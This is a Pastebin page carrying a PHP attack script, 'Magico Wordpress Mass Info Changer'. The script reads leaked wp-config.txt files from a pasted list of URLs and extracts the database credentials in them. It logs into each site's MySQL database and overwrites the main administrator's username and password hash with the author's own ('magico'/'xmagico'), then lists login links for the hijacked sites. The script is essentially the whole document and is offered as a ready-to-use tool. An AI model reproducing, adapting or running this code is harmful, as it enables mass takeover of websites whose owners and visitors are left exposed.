Advertisement
Elmagico

Magico Wordpress Mass Info Changer

Jul 3rd, 2015
2,606
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.01 KB | None | 0 0
  1. <html>
  2. <head>
  3. <meta content="text/html; charset=ISO-8859-1"
  4. http-equiv="content-type">
  5. <title>.:! Magico Wordpress Mass Info Changer!:.</title>
  6. </head>
  7. <body style="background-color: black; color: rgb(0, 0, 0);"
  8. alink="#ee0000" link="#0000ee" vlink="#551a8b">
  9. <div style="text-align: left;"><span
  10. style="color: rgb(102, 102, 102); font-weight: bold;">.:!~@# </span><span
  11. style="font-weight: bold; color: rgb(0, 153, 0);">Wordpress Config's
  12. Mass Info Changer</span><span
  13. style="color: rgb(51, 204, 0); font-weight: bold;"> <span
  14. style="color: rgb(51, 51, 255);"></span><span
  15. style="color: rgb(102, 102, 102);">#@~!:.</span></span><br>
  16. <span style="color: rgb(51, 204, 0); font-weight: bold;"><span
  17. style="color: rgb(153, 153, 0);"></span></span> &nbsp;&nbsp;
  18. &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <span
  19. style="color: rgb(102, 102, 102);">&nbsp; .:</span><span
  20. style="color: rgb(102, 102, 102); font-weight: bold;"> BY: <a
  21. href="https://www.facebook.com/ElKiller.2013">Elmagico</a></span><span
  22. style="color: rgb(102, 102, 102);"> :.</span><br>
  23. <span style="color: rgb(51, 204, 0); font-weight: bold;"><span
  24. style="color: rgb(153, 153, 0);"><img
  25. style="width: 306px; height: 152px;" alt=""
  26. src="http://localhost/x.jpg"></span></span>
  27.  
  28. <span style="color: rgb(0, 153, 0); font-weight: bold;">
  29. <?php
  30. set_time_limit(0);
  31. error_reporting(0);
  32. echo'<form method="post">
  33. <textarea name="sites" cols="70" rows="12" placeholder="http://www.site.com/sym/wp-config.txt"></textarea><br>
  34. <input name="change" value="Change" type="submit"/>
  35. </form>';
  36. ///////////////////////////////
  37. $sites =$_POST['sites'];
  38. $change = $_POST['change'];
  39. //////////////////////////////////////////////////////////////////////
  40. if(isset($change) && $sites != ""){
  41. $sits = explode("\r\n",$sites);
  42.  
  43. foreach($sits as $site){
  44.     $site = trim($site);
  45.     $cn = @file_get_contents($site);
  46.         if(preg_match("#DB_USER#i", $cn)){
  47.         preg_match("#'DB_HOST', '(.*?)'#i", $cn, $DB_HOST);
  48.         preg_match("#'DB_USER', '(.*?)'#i", $cn, $DB_USER);
  49.         preg_match("#'DB_PASSWORD', '(.*?)'#i", $cn, $DB_PASSWORD);
  50.         preg_match("#'DB_NAME', '(.*?)'#i", $cn, $DB_NAME);
  51.         preg_match("#table_prefix  = '(.*)'#i", $cn, $prefix);
  52.        
  53.        
  54.         $con = @mysql_connect($DB_HOST[1],$DB_USER[1],$DB_PASSWORD[1]);
  55.             if($con){
  56.             $db = @mysql_select_db($DB_NAME[1],$con);
  57.                 if($db){
  58.                 $q = @mysql_query("UPDATE ".$prefix[1]."users SET `user_login` ='magico' WHERE ID = 1");
  59.                 $q = @mysql_query("UPDATE ".$prefix[1]."users SET `user_pass` ='ad288af4a9ad4a55a9a939e984f23a18' WHERE ID = 1");
  60.                    
  61.                         if($q){
  62.                        
  63.                         $qurl = @mysql_query("SELECT * from  ".$prefix[1]."options WHERE option_name='siteurl'");
  64.                         $data = @mysql_fetch_array($qurl);
  65.                         $wpurl = $data["option_value"];
  66.  
  67.                         echo "----------------------------------------------------------------------------------------------------------------------<br>";
  68.                         preg_match('#http://(.*)/(.*)\.txt#',$site,$txt);
  69.                         echo "<span style=\"color: rgb(0, 153, 0); font-weight: bold;\">[#] </span><span style=\"color: rgb(51, 204, 0); font-weight: bold;\">$txt[2] :</span>"."  "."[User]= <span style=\"color: rgb(153, 153, 0); font-weight: bold;\">magico </span>[Pass]= <span style=\"color: rgb(153, 153, 0); font-weight: bold;\">xmagico </span>:"."  "."[site]<span style=\"color: rgb(204, 51, 204); font-weight: bold;\"> <a href=\"$wpurl/wp-login.php\">$wpurl/wp-login.php</a></span><br>";
  70.  
  71.                         }//end if
  72.                         else{
  73.  
  74.                             $qurl = @mysql_query("SELECT * from  `wp_options` WHERE option_name='siteurl'");
  75.                             $data = @mysql_fetch_array($qurl);
  76.                             $wpurl = $data["option_value"];                    
  77.                        
  78.                        
  79.                             echo
  80. "----------------------------------------------------------------------------------------------------------------------<br>";
  81.                             preg_match('#http://(.*)/(.*)\.txt#',$site,$txt);
  82.                             echo "-----------------------------------------------------------------------------------------------<br>";
  83.                             echo"<span style=\"color: red; font-weight: bold;\">[!] $txt[2] : Error query"."  " ."</span><br>";
  84.                             }
  85.                        
  86.                         }/*end if*/else{
  87.                             preg_match('#http://(.*)/(.*)\.txt#',$site,$txt7);
  88.                             echo "-----------------------------------------------------------------------------------------------<br>";
  89.                             echo"<span style=\"color: red; font-weight: bold;\">[!] $txt7[2]: ERRoR query</span><br>";}
  90.                        
  91.                            
  92.                 }/*end if*/else{
  93.                     preg_match('#http://(.*)/(.*)\.txt#',$site,$txt6);
  94.                     echo "-----------------------------------------------------------------------------------------------<br>";
  95.                     echo "<span style=\"color: red; font-weight: bold;\">[!] $txt6[2] : [!]can't select the database</span><br>";}
  96.                
  97.             }/*end if*/else{
  98.             preg_match('#http://(.*)/(.*)\.txt#',$site,$txt0);
  99.             echo "-----------------------------------------------------------------------------------------------<br>";
  100.             echo "<span style=\"color: red; font-weight: bold;\">[!] $txt0[2] : [!]can't connect to the database</span><br>";}
  101. /////////////////////////////////////  
  102. }//end foreach
  103. } //endif
  104. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement